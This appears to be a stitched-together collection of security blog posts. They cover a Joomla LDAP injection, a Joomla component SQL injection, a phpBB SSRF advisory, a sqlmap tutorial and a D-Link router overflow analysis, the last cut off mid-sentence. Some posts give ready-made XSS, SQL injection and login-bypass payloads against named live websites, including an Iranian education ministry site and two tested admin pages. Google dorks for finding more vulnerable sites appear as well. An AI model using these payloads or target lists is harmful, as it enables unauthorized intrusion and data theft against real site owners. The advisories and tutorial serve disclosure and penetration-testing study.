Joomla! 3.7.5 – Takeover with LDAP Injection

security

Joomla! is one of the most popular content management systems in the World Wide Web. It powers about 3.3% of all websites’ content and articles. Our code analysis solution RIPS detected a previously unknown LDAP injection vulnerability in the login controller. This one vulnerability could allow remote attackers to leak the super user password with blind injection techniques and to fully take over any Joomla! <= 3.7.5 installation within seconds that uses LDAP for authentication. Joomla! has fixed the vulnerability in the latest version 3.8.

Requirements – Who is affected

Installations with the following requirements are affected by this vulnerability:

This is not a configuration flaw and an attacker does not need any privileges to exploit this vulnerability.

Impact – What can an attacker do

By exploiting a vulnerability in the login page, an unprivileged remote attacker can efficiently extract all authentication credentials of the LDAP server that is used by the Joomla! installation. These include the username and password of the super user, the Joomla! administrator. An attacker can then use the hijacked information to login to the administrator control panel and to take over the Joomla! installation, as well as potentially the web server, by uploading custom Joomla! extensions for remote code execution.

Vulnerability Analysis – CVE-2017-14596

Our code analysis solution RIPS automatically identified the vulnerability that spans over the following nested code lines. First, in the LoginController the Joomla! application receives the user-supplied credentials from the login form.

/administrator/components/com_login/controller.php

class LoginController extends JControllerLegacy
{
    public function login()
    {$app = JFactory::getApplication();$model = $this->getModel('login');
        $credentials = $model->getState('credentials');$app->login($credentials, array('action' => 'core.login.admin'));
    }
}

The credentials are passed on to the login method which then invokes the authenticatemethod.

/libraries/cms/application/cms.php

class JApplicationCms extends JApplicationWeb
{
    public function login($credentials, $options = array())
    {$authenticate = JAuthentication::getInstance();
        $authenticate->authenticate($credentials, $options);
    }
}

/libraries/joomla/authentication/authentication.php

class JAuthentication extends JObject
{
    public function authenticate($credentials, $options = array())
    {$plugin->onUserAuthenticate($credentials, $options, $response);
    }
}

Based on the plugin that is used for authentication, the authenticate method passes the credentials to the onUserAuthenticate method. If Joomla! is configured to use LDAP for authentication, the LDAP plugin’s method is invoked.

/plugins/authentication/ldap/ldap.php

class PlgAuthenticationLdap extends JPlugin
{
    public function onUserAuthenticate($credentials, $options, &$response)
    {$userdetails = $ldap->simple_search(
            str_replace(
                '[search]',
                $credentials['username'],
                $this->params->get('search_string')
            )
        );
    }
}

In the LDAP plugin, the username credential is embedded into the LDAP query specified in the search_string option. According to the official Joomla! documentation, the search_stringconfiguration option is “a query string used to search for the user, where [search] is directly replaced by search text from the login field”, for example “uid=[search]“. The LDAP query is then passed to the simple_search method of the LdapClient which connects to the LDAP server and performs the ldap_search.

/libraries/vendor/joomla/ldap/src/LdapClient.php

class LdapClient
{
    public function simple_search($search)
    {
        $results = explode(';', $search);
        foreach ($results as $key => $result)
        {
            $results[$key] = '(' . $result . ')';
        }
        return $this->search($results);
    }

    public function search(array $filters, ...)
    {
        foreach ($filters as $search_filter)
        {
            $search_result = @ldap_search($res, $dn, $search_filter, $attr);}
    }
}

The root cause of this vulnerability: User input is mixed unsanitized with LDAP query markup that is passed to the sensitive ldap_search function.

Proof Of Concept – Blind LDAP Injection

The lack of input sanitization of the username credential used in the LDAP query allows an adversary to modify the result set of the LDAP search. By using wildcard characters and by observing different authentication error messages, the attacker can literally search for login credentials progressively by sending a row of payloads that guess the credentials character by character.

XXX;(&(uid=Admin)(userPassword=A*))
XXX;(&(uid=Admin)(userPassword=B*))
XXX;(&(uid=Admin)(userPassword=C*))
...
XXX;(&(uid=Admin)(userPassword=s*))
...
XXX;(&(uid=Admin)(userPassword=se*))
...
XXX;(&(uid=Admin)(userPassword=sec*))
...
XXX;(&(uid=Admin)(userPassword=secretPassword))

Each of these payloads yield exactly one out of two possible states which allow an adversary to abuse the server as an Oracle. A filter bypass is necessary for exploitation that is not covered in this blog post. With an optimized version of these payloads one bit per request can be extracted from the LDAP server which results in a highly efficient blind LDAP injection attack.

Patch

Vendor released fixed version

Thanks for being here, I hope you may Appreciate, stay tuned for more, be safe keep learning, I am yours one and only @lon3_rang3r

Advertisements

Iran’s Sensing Center, Ministry of Education XSS / SQLi / DoS /CSRF

Vendor Homepage:

http://www.medu.ir

1.Cross Site Scripting (XSS):

[+] http://aee.medu.ir/IranEduThms/theme2/cntntpge.php
– “rcid” (GET input) parameter most set to:
– 67″ onmouseover=prompt(916009) bad=”
– or
– 67″ onmouseover=prompt(948428) bad=”

2. Long Password Denial of Service:

=>the atacker may cause the website to become temporarily/indefinitely unavailable or unresponsive.

[+] http://aee.medu.ir/IranEdu/edu_usrlgnchck.php
– Vulnerable password input: “pass11”
– test +1000000 characters.

3.SQL injection:

[+] http://aee.medu.ir/IranEdu/edu_getofferview.php > “cfnam” parameter was set to “\”
“cmail” parameter was set to “\”
“ctext” parameter was set to “\”
[+] http://aee.medu.ir/IranEdu/edu_newstoprnt.php > “rcid” parameter was set to “1′””
[+] http://aee.medu.ir/IranEdu/edu_sndtofrnd.php > “rcid” parameter was set to “1′””
[+] http://aee.medu.ir/IranEduThms/theme2/cntntpge.php > “rcid” parameter was set to “1′””
– all GET input

————————————————

Thanks for being here, stay tune for more, be safe keep learning, I am yours one and only @lon3_rang3r

Joomla Component Ultimate Property Listing 1.0.2 - SQL Injection

Vendor:

http://faboba.com/

Software:

https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/ultimate-property-listing/

Version:

1.0.2

Demo:

http://demoupl.faboba.com/

Dork:

“inurl:index.php?option=com_upl”

PoFF:

http://localhost/%5BPATH%5D/index.php?option=com_upl&view=propertylisting&sf_selectuser_id=%5BSQL%5D
======0- -109’+UNION+ALL+SELECT+0x31,0x32,0x33,0x34,0x35,0x36,0x37,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137,0x3138,0x3139,0x3230,0x3231,0x3232,0x3233,0x3234,0x3235,0x3236,0x3237,0x3238,0x3239,0x3330,0x3331,0x3332,0x3333,0x3334,0x3335,0x3336,0x3337,0x3338,0x3339,0x3430,0x3431,0x3432,0x3433,0x3434,0x3435,0x3436,0x3437,0x3438,0x3439,0x3530,0x3531,0x3532,0x3533,0x3534,0x3535,0x3536,0x3537,0x3538,0x3539,0x3630,0x3631,0x3632,0x3633,0x3634,0x3635,0x3636,0x3637,0x3638,0x3639,0x3730,0x3731,0x3732,0x3733,0x3734,0x3735,0x3736,0x3737,0x3738,0x3739,0x3830,0x3831,0x3832,0x3833,0x3834,0x3835,0x3836,0x3837–+-

Integrated IT Services Pvt. Ltd bypass login admin

***************************************************

# Exploit Title: bypass login admin Integrated IT Services Pvt. Ltd
# Google Dork: inurl:”adminlogin.asp” intext:Site Designed & Developed by Integrated IT Services Pvt. Ltd

*************************************
Tested site:

http://www.adyar.net/adminlogin.asp
http://www.iits.co.in/Attendance/adminlogin.asp

***************************************************
Bypass login:

http://site.com/%5Bpath%5D/adminlogin.asp

User ==> ‘or”=’
Pass ==> ‘or”=’

***************************************

phpBB 3.2.0 Server Side Request Forgery

title: Server Side Request Forgery Vulnerability
product: phpBB
vulnerable version: 3.2.0
fixed version: 3.2.1
CVE number:
impact: Medium
homepage: https://www.phpbb.com/
found: 2017-05-21

=======================================================================

Vendor description:
—————–

“phpBB is a free flat-forum bulletin board software solution that can be used
to stay in touch with a group of people or can power your entire website. With
an extensive database of user-created extensions and styles database
containing hundreds of style and image packages to customise your board, you
can create a very unique forum in minutes.”

Source: https://www.phpbb.com/

Business recommendation:
————————

The patch should be installed immediately. Furthermore, SEC Consult recommends
to perform a thorough security review of this software.

Vulnerability overview/description:
——————————

The phpBB forum software is vulnerable to the server side request forgery
(SSRF) attack. An attacker is able to perform port scanning, requesting
internal content and potentially attacking such internal services via the
web application’s “Remote Avatar” function.

Proof of concept:
—————–

This vulnerability can be exploited by an attacker with a registered account
as low as a normal account. If the web application enables remote avatar, this
feature could be abused by an attacker to perform port scanning. Below is the
example on how the SSRF issue can be exploited.

URL : http://$DOMAIN/ucp.php?i=ucp_profile&mode=avatar
METHOD : POST
PARAMETER : avatar_remote_url
PAYLOAD : http://$DOMAIN:$PORT/x.jpg

Vulnerable / tested versions:
—————————–

phpBB version 3.2.0 has been tested. This version was the latest
at the time the security vulnerability was discovered.

Vendor contact timeline:
————————

2017-05-23: Contacting vendor through security bug tracker.
2017-05-29: Vendor confirms the vulnerabilities and working on the fixes.
2017-07-12: Vendor requesting extension for deadline of 5 days from the
latest possible release date.
2017-07-17: Patch released by the vendor.
2017-08-04: Public release of the advisory.

Solution:
———

Upgrade to phpBB 3.2.1

For further information see:
https://www.phpbb.com/community/viewtopic.php?f=14&p=14782136

Exploiting difficult SQL injection vulnerabilities using sqlmap: Part 1

Introduction

A number of times when discovering “tricky” SQL Injection vulnerabilities during penetration tests, I have taken the approach of exploiting them by writing custom tools.  This usually after spending 5 minutes blindly poking at the vulnerability with sqlmap, and then stopping when it didn’t immediately magic the answer for me.

OK, there have been a number of times where sqlmap has NOT been a suitable tool to use for various reasons, such as very particular filtering or data retrieval requirements, but there has also been a number of cases where I probably gave up on it too fast because I didn’t properly understand how it worked or the extent of its capabilities. And this resulted in me taking much longer than necessary to exploit the vulnerability.

While writing custom tools can certainly be “fun” (for some definitions of “fun”), and while it provides some good coding practice and is an excellent way to ensure that you understand the injection flaw and its exploitation extremely well, its also very time consuming.  Writing your own injection tool often involves redoing a lot of work that has already been done by others – the digital equivalent of reinventing the wheel. You need to put together a capable HTTP sending/receiving framework, you need to parse HTML responses, you need to discover the (database specific) SQL commands that will allow you to retrieve data within the limitations imposed by the vulnerability, you need to be able to extract, group, infer, convert and/or join the retrieved data and you need to mentally map out the logic needed to tie all these parts together and turn it into working code with a usable interface. Its a deceptively large amount of effort, especially when blind injection is involved, and I would consistently underestimate how long it would take to perform.

Given that sqlmap already has all this functionality, being in particular a very effective tool for retrieving data via all types of SQL injection vulnerabilities,  I recently decided that it might be a good idea to spend some of my time to gain an improved understanding of the tool, so that in future I would be able to make more frequent use of it.

For my vulnerability test bed, I used some of the SQL injection labs from the Pentester Labs website, namely the Web for Pentester and Web for Pentester IIexercises, because those particular exercises are freely downloadble, easy to self host and provide some great examples of SQLi vulnerabilities that require use of some of sqlmap’s custom options for exploitation.

This will be the first in a series of posts where I share some of what I learned during this process. This first post will mainly seek to introduce and explain the relevant sqlmap options that I used and outline a process that can be used to get sqlmap to identify an SQL injection flaw that you have discovered through other testing activities.  Future entries will provide examples of actually using this to exploit SQL injection vulnerabilities that sqlmap cannot easily detect on its own.

Note: While I will use their content as examples, the intent here is NOT to explain how to discover or do manual exploitation of the SQLi vulnerabilities in the PentesterLab exercises – because that has already been written up in the PentesterLab courseware available at their web site. If you don’t already know how to do manual discovery of SQLi vulnerabilities, you can check out their site, or any of the many other SQLi references on the Internet to learn this (for the record though, I think the PentesterLab stuff is a fantastic introduction to web application pentesting, and I wish I had access to it when I first started doing webapp testing).

Useful sqlmap options

Before we jump into working through specific examples, I wanted to describe the purpose of some sqlmap options.  More advanced use of sqlmap, in terms of actually tweaking its operation in order to make a difficult injection operate, will require that you actually understand how these options work. In essence, this is the README I wish I had received when I moved beyond the bare basics in my use of the tool, as I definitely would have used sqlmap much more extensively had I understood these particular options as well as I do now. Hopefully you can now benefit from my having learned this the “hard” way, e.g. via trial and error.

Prefix and suffix

The prefix (–prefix) and suffix (–suffix) options configure the strings that should be included with each SQL injection payload in order to begin, and then terminate, the Injection.  So what does this mean exactly?

Take this simple example of an injectible query:

$query = “SELECT first_name, last_name FROM users WHERE name = ‘” . $_GET[“username”] . “‘”;

Whats an example of an injection string that would work here?  Something like the following would work as a simple POC of a union injection.

‘ UNION SELECT NULL,NULL — a

This closes the single quoted string before our injection point with a single quote (‘), seperates the next statement with a space ( ), adds our injection query of a UNION SELECT with a column count matching that of the existing SELECT query, and then comments out the remainder of the original query to ensure syntactical correctness.  The prefix in this case is the single quote and space (‘ ) used  before the UNION SELECT, and the suffix is the characters (a space, two dashes, another space and the letter “a”) used to comment out the remainder of the original query ( — a).

The following options can be used to configure sqlmap to use this prefix and suffix:

–prefix=”‘ ” –suffix=’ — a’

Now, these particular examples of prefixes and suffixes (or ones that are functionality identical) are ones that sqlmap will be able to figure out itself, so you will rarely need to specify values like this.  However, this hopefully does help you in understanding what these options do, because they are quite important ones to grasp if you want to use sqlmap for more difficult injections. In fact, I put these options first in the list of ones I wanted to describe because as I was working through this process of learning how to make sqlmap identify certain injection vulnerabilities, these were the ones that I used the most.  Also, finally learning what these did was an “AHA!” moment for me, as I have been aware of the options existence for an embarassingly long time without understanding what they did.

Note1: Why use NULL values in the UNION SELECT? NULL is a great value to use in UNIONS when trying to determine the correct number of columns in an injection, as it can sit in place of a number of different field types, such as numbers, strings and dates.

Note2: Why the extra space and the “a” character after the comment? Sometimes, inserted comments at the end of an injection are not properly recognised by the database unless there is a whitespace character to follow. Since whitespace characters on their own are sometimes not easily identifiable when displayed on screen (depending on what other text follows) its helpful to include other text afterwards so you can easily see there is something following the comment. You will see sqlmap do this when you look at some of the injection strings it uses.

Specifying Injection technique and tests

There are a number of different SQL injection techniques available for use in sqlmap, which are configured via the –technique option, and sqlmap comes with a number of different in built tests for exploiting vulnerabilities using those techniques. By default, sqlmap will enable all possible techniques when trying to identify an injection vulnerability, and will run all associated tests that meet the configured risk and level settings (discussed later).

If you have manually discovered a SQL injection flaw in a website and want to use sqlmap to exploit the vulnerability, you may already know the correct technique, as well as the most appropriate payload configuration to use, and this is where specifying these options manually can be useful. Manual specification of these settings helps prevents less effective techniques from being chosen by sqlmap, and cuts down on the amount of traffic sent by sqlmap during its detection period.

A brief listing of the injection techniques available for use by sqlmap is listed below in order of preference. You can select the appropriate ones by using the –technique switch followed by a listing of the letters associated with the method/s you wish to use.  The default is all options, (e.g. “–technique=BEUSTQ”).  The descriptions provided below are only intended as high level reminders of each technique

  • Stacked queries (S) – This involves stacking whole new SQL queries onto the end of the existing injectable query. Its the preferred method to use if available, because there are a number of exploitation actions that wont be available to you using any other method, however the use of this method does require support from the database and API. You may not necessarily be able to see the results of your stacked query in the page response, so when actually retrieving data (as opposed to performing other operations such as INSERTS) you may want to use another technique such as Unions.
  • Union query based (U) – This involves retrieving data by joining a second select statement to the original, via the UNION SELECT statement. You need to be able to see the results from the original SELECT query (and hence your UNION) in the page response for this method to be usable.
  • Error based (E) – This technique retrieves data by manipulating database error messages to directly display that data. To use this method, you need to be able to see database error messages in page responses.
  • Inline queries (I) – This technique uses inline database queries to retrieve data – essentially a query embedded within another query like this “SELECT (SELECT password from user) from product”.  I have not personally had the occasion to use this option in sqlmap, and while inline queries can be used more widely than this in manual injection scenarios, it appears that you need to be able to see the inline queries result in the page response for this to be usable through sqlmap.
  • Boolean blind (B) – This retrieves data from the database by asking a series of True/False style questions in your injections, and determining the result (True or False) based on identifiable changes in the response. To use this option, you need to be able to be able to trigger some sort of identifiable state change in HTTP response content from logically different, but syntactically correct database queries (e.g. a different page response only resulting from an invalid database query doesn’t count here).  This technique will require more requests and time to perform than those previously listed, as the data must be retrieved indirectly via boolean inference.
  • Time based blind (T) – This technique is similar to boolean blind, in that it retrieves data via posing a number of True/False style questions to the database, however instead of determining the answers to these questions via the content of a response, it is done using the amount of time a response takes. This is done through associating deliberate delays with particular answers via database statements that consume a noticeable amount of time, like sleep. This is the most time consuming method of data retrieval, and is sensitive to errors introduced by network load. Without careful custom configuration, you may find sqlmap selecting this technique for trickier injection vulnerabilities that can be exploited by more efficient means.

Selecting a particular technique, or set of techniques will limit the payloads that sqlmap will use to those associated with that/those technique/s. It is also possible to further filter the attempted payloads via the –test-filter and –test-skip options to target payloads that contain (or do not contain) particular text within their name.

If, for example, you know your target SQLi vulnerability exists within the ‘ORDER BY’ clause of a query, why not filter for only these test payloads by using:

–test-filter=’ORDER BY’

In addition, if you write your own custom test payload for an injection, you can use only that particular payload by setting a filter for a unique string you have added to the name.

Note: To have the best chance of being able to configure sqlmap to detect and exploit a given difficult vulnerability, its important that you properly understand the type of injection you wish to use and the requirements for its exploitation. This is because for injection vulnerabilities that sqlmap cannot find on its own you have to be able to create an effective POC exploit manually to use as a basis for correctly setting sqlmap’s configuration . Hopefully this brief summary of the available injection types is appropriately clear and detailed in order to provide a sufficient refresher, but if you are unclear on these techniques you may wish to do further research on any techniques you are unfamiliar with before continuing.

Risks and levels

The risks and levels settings in sqlmap will control which test payloads will be attempted during the detection run to identify an SQLi vulnerability. Each test payload has a configured level and risk setting, and if the configured threshold is not met for that payload during a particular run of the tool, that particular payload will not be used.

Risk in sqlmap refers to the risk of a failure, potential database damage or error in data retrieval associted with using an associated payload.  Available risk settings range from 1 to 3, with 1 (the lowest level) being the default.

Level refers to the number of requests required to use that associated payload for exploitation. Available level settings range from 1 to 5, with 1 again the default.

A common recommendation given in various usage guides is to increase the risk and level settings if sqlmap does not identify a vulnerability in its default configuration, however in my experience for trickier injection vulnerabilities this change alone is often not sufficient.

Detection options

Using the boolean blind injection technique will often require that you tell sqlmap what to look for in the HTTP response content in order to distinguish a True condition from a False. There are a number of options in sqlmap that allow you to configure this behavior, such as –string and –not-string (configuring strings that should appear in True and False responses respectively), –regexp (allowing you to set a regular expression to match to determine the True condition), –code (provide a HTTP status code to match True), –text-only (compare responses based on text content) and –titles (compare responses based on page title).

A neat thing you can do with the –string and –not-string settings is to use Python hexadecimal backslash quoting to do multi line matching. Here is an example showing how to match a section of HTML that includes newlines (\x0a) and tabs (\x09).

–string=’Name\x0a\x09\x09LoneRanger’

When your detection needs are more complex than what can be satisfied by the above options, there is also another sqlmap feature that with a little bit of imagination you can abuse in order to perform more complex comparative logic, which leads us to…

Second order injection

sqlmap contains a –second-order option, which is intended to be used to enable exploitation of second order SQL injection vulnerabilities, where the results of an SQL injection need to be retrieved from a different URL than that is used to actually perform the injection.  The option allows you to provide a single URL which will be requested by sqlmap after each injection payload is sent, and then parsed as per normal configured sqlmap behavior.

By setting the –second-order option to point to your own locally run custom forwarding and parsing server, you can make use of this option to return arbitrary content to sqlmap, perhaps based on data you have automatically retrieved from the target site. This capability can be used to do things such as retrieve data from a dynamically changing second order URL at the target site, or to retrieve content from the remote site and perform complex parsing or logic checks on it, passing through to sqlmap something that it can process using its inbuilt functionality.

This link contains a modifiable second-order forwarding server that wrote in Python to work with sqlmap, which can be run locally from the command line.  It starts its own http server locally on the loopback address, and when it receives a request from sqlmap it can request data from another website, then return the (optionally) parsed data back to sqlmap.  It is based on Python classes that wrote specifically to facilitate reuse and modification, so if you can code simple Python you can change it to do any parsing or fetching job you wish.

Tamper scripts

Tamper scripts in sqlmap allow you to make programmatic changes to all the request payloads sent by sqlmap, in order to facilitate the bypass of web application firewalls and other filters.  If you are dealing with filters that prohibit, for example, all whitespace within an injection string, there is a tamper script configured that can help (–tamper=space2comment).  A reasonably up to date listing of available tamper scripts and their purpose is available here.

Custom written test payloads

sqlmap comes configured with a large number of test payloads that it can use to perform injections. These are defined within xml files named after the associated injection technique stored in xml/payloads under the sqlmap root path.  You can add your own payloads into these files by copying the xml nodes of an existing test (one thats simlar to the one you want to create) and modifying it as required.  There is an example of doing this here, and a specific example of how to use custom test payloads to exploit a boolean blind issue inside the ORDER BY clause will be provided in a future post.

Verbosity and debugging injection checks

One extremely useful option for troubleshooting sqlmap’s detection process is the output verbosity option.  The specific setting I use most frequently when getting an injection working is -v3, which will show each raw payload that is sent by sqlmap. This allows you to compare the payloads sent by sqlmap to your own POC SQL injection string developed during discovery of the vulnerability, to determine where sqlmap is incorrectly diverging.  If you need to use tamper scripts as well to bypass a filter, you can try verbosity level -v4 to also see the HTTP requests sent, as -v3 verbosity will not show the affect of tamper scripts.

Note: You can also configure sqlmap to work through an intercepting proxy for debugging purposes.  However, while I generally always have Burp Suite running when Im testing any web application, I usually prefer to avoid filling up my proxy history and slowing down the operation of sqlmap by doing this. Sometimes, if I really want to have a close look at requests and responses, I will run up a separate proxy instance using something like ZA Proxy or BurpSuite .

Auto answering

Under certain circumstances, sqlmap will ask you the same set of one or more repeated questions every time you run the tool. Some of these questions are without their own associated command line options, and therefore without an obvious way to inform sqlmap of the desired behavior so you don’t have to repeatedly answer the same question the same way every time sqlmap prompts you.  The –answers option allows you to provide a standard response to these questions – to use it, pick a unique term from the question itself, and provide this along with the desired response.

For example, to preemptively answer Yes to allow sqlmap to attempt to “optimize” timing settings during blind timing based injections, use the following.

–answers=’optimize=Y’

Session flushing

sqlmap keeps session information about each url, including which techniques and payloads have been confirmed to work and what data has been retrieved from the site.  If a non optimal payload type has been associated with a particular url within the relevant session, you may want to clear that session information in order to try and get a new payload to work.  You can flush all data associated with a URL, and force the detection process to run again, using the following option.

–flush-session

Other options

Some other options I commonly use are the parameter option which specifies which parameter is used to perform the injection (e.g. -p ‘vulnerable_parameter’) and the options to specify the database (e.g. –dbms=’mysql’) and the Operating System (–os=’linux’) in use on the remote server.  These all help sqlmap to avoid making extraneous requests beyond what you already know will be effective based on your knowledge of the target web application.  Sometimes of course the injection point is not within a parameter, in which case sqlmap has other options which can be used to target its operation, such as the asterisk character (*) which can be used to set manual injection point within a request.

Tweaking sqlmap options to detect tricky injections

Before you can use sqlmap to effectively exploit an injection issue, you must get it to detect the vulnerability, which associates one or more injection techniques and payloads with the URL associated with the issue.  Once this has occurred, the detection process does not need to run again, and sqlmaps options for exploitation and data retrieval can be immediately used on subsequent executions of the tool.

The following is the process I use for taking a manually discovered SQL injection vulnerability and configuring sqlmap to exploit it.

  1. If the payload being sent is resulting in a SQL query that is NOT syntactically correct, there are 3 primary reasons for this.  Work out which issue (or combination of issues) is causing the problem, and work to resolve these as discussed below before moving on to the next step.
  2. Once sqlmap is sending a payload that is logically similar to your POC, the goal is to now tweak the relevant sqlmap options to get the request syntactically correct for the injection.  At this point you will want to set the –test-filter option in order to send only your chosen payload, and try and determine what needs to change with the payload to make it work. By “work” I mean that you must be creating injected queries that are syntactically correct and the results must not involve database errors, displayed to you or otherwise, UNLESS you are doing error based injection and that error is displayed to you and contains your chosen content. This troubleshooting may involve taking the payload from the sqlmap verbose output and pasting it into your manual testing tool (i.e. Burp Suite Professional’s Repeater) to see if it returns a syntactically correct result. Sometimes however, you can just eyeball it and tell where there are some obvious issues. The next step provides guidance on how to fix syntax issues.
  3. If at this point you still do not see a payload that looks like it will be able to provide the output needed to make the injection succeed, you will need to write your own. Pick an example from the xml file named after the appropriate injection technique thats as close as possible to what you need, and modify as required.  The earlier section on custom test payloads contains references that help describe this process, and a future post in this series will also have a specific example.
  4. Run the detection again, however this time use the -v3 verbose option on so you can see the payloads being sent.  Scroll through the output, looking for an injection string thats similar in layout to the POC developed earlier, which will cause the response you require. At this point you may see the names of likely looking payloads that are not being sent here because the –level or –risk settings are too low. If so, raise these values and try again and see if you can find an appropriate payload that comes as close as possible to what you need.
  5. Run sqlmap, configuring the backend database type (–dbms), Operating System (–os), and technique (–technique) options to specifically target the manually discovered issue. Set the parameter (-p)  option as well if the injection is in a URL or POST data parameter, or use other options such as the injection point asterisk (*) as appropriate to tell sqlmap exactly where the injection is located. This helps focus the detection process, minimising requests sent and time taken by ignoring non-vulnerable parameters and payloads that target other databases or are associated with unwanted injection techniques. You may also need to provide proxy details, cookies or other authentication options, CSRF management options, safe URL settings to avoid lockouts, etc as appropriate, to ensure that sqlmap can correctly send and receive HTTP requests and responses. If you have already created a manual injection POC in a separate tool you should already know all the correct settings to use for this purpose.  Leave all other options at the default. I do all my manual testing using Burp Suite Professional, so I use the CO2 plugin and its SQLMapper component to quickly set the relevant command line options.  From this point on in the process, as soon as you get sqlmap to detect the vulnerability, you can skip the remaining steps (hopefully thats obvious).
  6. Develop the manual exploit to the point where a POC for the best applicable exploitation technique exists. For a UNION SELECT vulnerability, this means you want to discover the number of columns in the UNION, and perhaps also the datatypes of each column (numeric, text, date, etc). For a boolean blind, you will want to be able to trigger different pages responses for True and False conditions, and determine how you could differentiate the True response from the False. For a time based blind, you want to get a response to delay for a given period of seconds based on the success or failure of some comparison you make, etc. This step will also include working out whether any specific characters are restricted by some sort of filter or other application issue, and hence are unusable in performing the injection.
      • The first possible reason is that the prefix and suffix have been set incorrectly (either manually by you or automatically by sqlmap). You know this is the case if the text used at the start of the payload to break into the injection, or the text at the end used to terminate it, are syntactically different from your POC. Correctly set the suffix and prefix options to fix this – the right values should be easy to identify as they will be included in your manual POC. Be aware here that certain test payloads are configured to place random values at the start of the payload output. If you set the –prefix option and don’t see the configured string at the very start of the payload output you are using in sqlmap’s verbose output, you know that the payload configuration itself is the cause (specifically, the where option in the payload configuration), which is the second possible reason.
      • Second, the definition of the test payload itself is causing an error for some reason. I have seen the sqlmap default payloads break in some cases, but the most likely way for this to occur is when you have written the payload yourself. If the text or logic or the placement of the random values used by sqlmap in the meat of the payload is causing the issue, the problem might be with the definition of the test payload (or you might be focusing on using the wrong payload and another one you have overlooked is more appropriate). Modify the payload, try a different one, or create a your own custom new one to fix this.
      • Third, there is some sort of filter implemented in the space between when you send the request and when the resultant query reaches the database that is causing an otherwise syntactically correct payload to be rejected. This is where tamper scripts can be used to (hopefully) filter out or replace the offending characters. Don’t forget to bump your verbosity setting to -v4 in order to see HTTP requests in the output if you need to troubleshoot these. You can either use one of the existing tamper scripts (if a suitable one exists) or write your own. If the filtering is particularly prohibitive, you may need to consider writing a payload that makes use of inventive SQL to avoid your given bad patterns.
  7. Once your queries are syntactically correct, the next step is ensuring that sqlmap can correctly interpret the results it is receiving (and, in the case of second order injections, that it is receiving the correct results at all!). Setting aside second-order injections for the moment (we will cover this in more detail in a future example), sqlmap is generally pretty good at this for all of its techniques other than boolean blind injection. For these, you will often need to tell it how to distinguish True from False responses. This is where the detection options such as –string, –not-string and –regex discussed earlier come into play – use these to help sqlmap identify the appropriate responses.

Once you have completed these steps sqlmap should have correctly detected your vulnerability and be ready to exploit it.

I completes this entry in the series, stay tuned for the next post, where I will show some examples, I’ll be back soon, I Hope You May Learn Something. 🙂

Multiple vulnerabilities in Dlink DIR routers HNAP Login function (multiple routers affected):

Background on the affected products:

“Smartphones, laptops, tablets, phones, Smart TVs, game consoles and more – all being connected at the same time. That’s why we created the new AC3200 Ultra Wi-Fi Router. With Tri-Band Technology and speeds up to 3.2Gbps, it delivers the necessary ultra-performance to power even the most demanding connected homes, making it the best wireless home router for gaming.”

Summary:

Dlink routers expose a protocol called HNAP (Home Network Administration Protocol) on the LAN interface. This is a SOAP protocol that allows identification, configuration, and management of network devices. It seems Dlink uses an implementation of this protocol to communicate with the router’s web interface over the LAN. For more information regarding HNAP, see [1] and [2].

Dlink has a long history of vulnerabilities in HNAP. Craig Heffner in particular seems to have found a lot of them (see [3], [4], [5], [6], [7], [8]).

This new vulnerability occurs in the processing of XML tags inside SOAP messages when performing the HNAP Login action. The affected function contains two subsequent stack overflows, which can be exploited by an unauthenticated attacker on the LAN. It affects a number of Dlink routers which span the ARM and MIPS architectures. A Metasploit module that exploits this vulnerability for both architectures has been released [9].

A special thanks to CERT/CC and Trent Novelly for help with disclosing this vulnerability to the vendor. Please refer to CERT’s advisory for more details [10].

Technical details:

Vulnerability: Stack buffer overflow
CVE-2016-6563
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. See below for other constraints.
Affected versions:
The following MIPS devices have been confirmed to be vulnerable:
DIR-823
DIR-822
DIR-818L(W)

The following ARM devices have been confirmed to be vulnerable:
DIR-895L
DIR-890L
DIR-885L
DIR-880L
DIR-868L -> Rev. B and C only

There might be other affected devices which are not listed above.

————————————
Vulnerability details and MIPS exploitation
————————————

The vulnerable function, parse_xml_value (my name, not a symbol), is called from hnap_main (a symbol in the binary) in /htdocs/cgibin.
This function takes 3 arguments: the first is the request object / string, the second is the XML tag name to be parsed inside the request, and the third is a pointer to where the value of that tag should be returned.

The function tries to find the tag name inside the request object and then extracts the tag value, copying it first to a local variable and then to the third argument. This function is called from hnap_main when performing the HNAP Login action to obtain the values of Action, Username, LoginPassword and Catpcha from the SOAP request shown above.

parse_xml_value(char* request, char* XMLtag, char* tag_value)
(…)
.text:00412264 xml_tag_value_start = $s2
.text:00412264 xml_tag_value_end = $s1
.text:00412264 C30 addu xml_tag_value_start, $v0, $s0 # s2 now points to <Action>$value</Action>
.text:00412268 C30 la $t9, strstr
.text:0041226C C30 move $a1, xml_tag_value_end # needle
.text:00412270 C30 jalr $t9 ; strstr
.text:00412274 C30 move $a0, xml_tag_value_start # haystack
.text:00412278 C30 lw $gp, 0xC30+var_C20($sp)
.text:0041227C C30 beqz $v0, loc_4122BC
.text:00412280 C30 subu xml_tag_value_end, $v0, xml_tag_value_start # s1 now holds the ptr to <Action>value$</Action>
.text:00412284 C30 bltz xml_tag_value_end, loc_4122BC
.text:00412288 C30 addiu $s0, $sp, 0xC30+xml_tag_var
.text:0041228C C30 la $t9, strncpy
.text:00412290 C30 move $a2, xml_tag_value_end # n
.text:00412294 C30 move $a1, xml_tag_value_start # src
.text:00412298 C30 addu xml_tag_value_end, $s0, xml_tag_value_end
.text:0041229C C30 jalr $t9 ; strncpy # copies all chars in <Action>$value$</Action> to xml_tag_var using strncpy
.text:004122A0 C30 move $a0, $s0 # dest
.text:004122A4 C30 move $a0, a2_ptr # a2_ptr is a stack variable from hnap_main (passed as third argument to parse_xml_value)
.text:004122A8 C30 lw $gp, 0xC30+var_C20($sp)
.text:004122AC C30 move $a1, $s0 # src
.text:004122B0 C30 la $t9, strcpy # copies xml_tag_var into a2_ptr using strcpy
.text:004122B4 C30 jalr $t9 ; strcpy # the stack of the calling function (hnap_main) is thrashed if 2408+ bytes are sent
.text:004122B8 C30 sb $zero, 0(xml_tag_value_end)
(…)

There are two overflows, therefore two choices for exploitation:
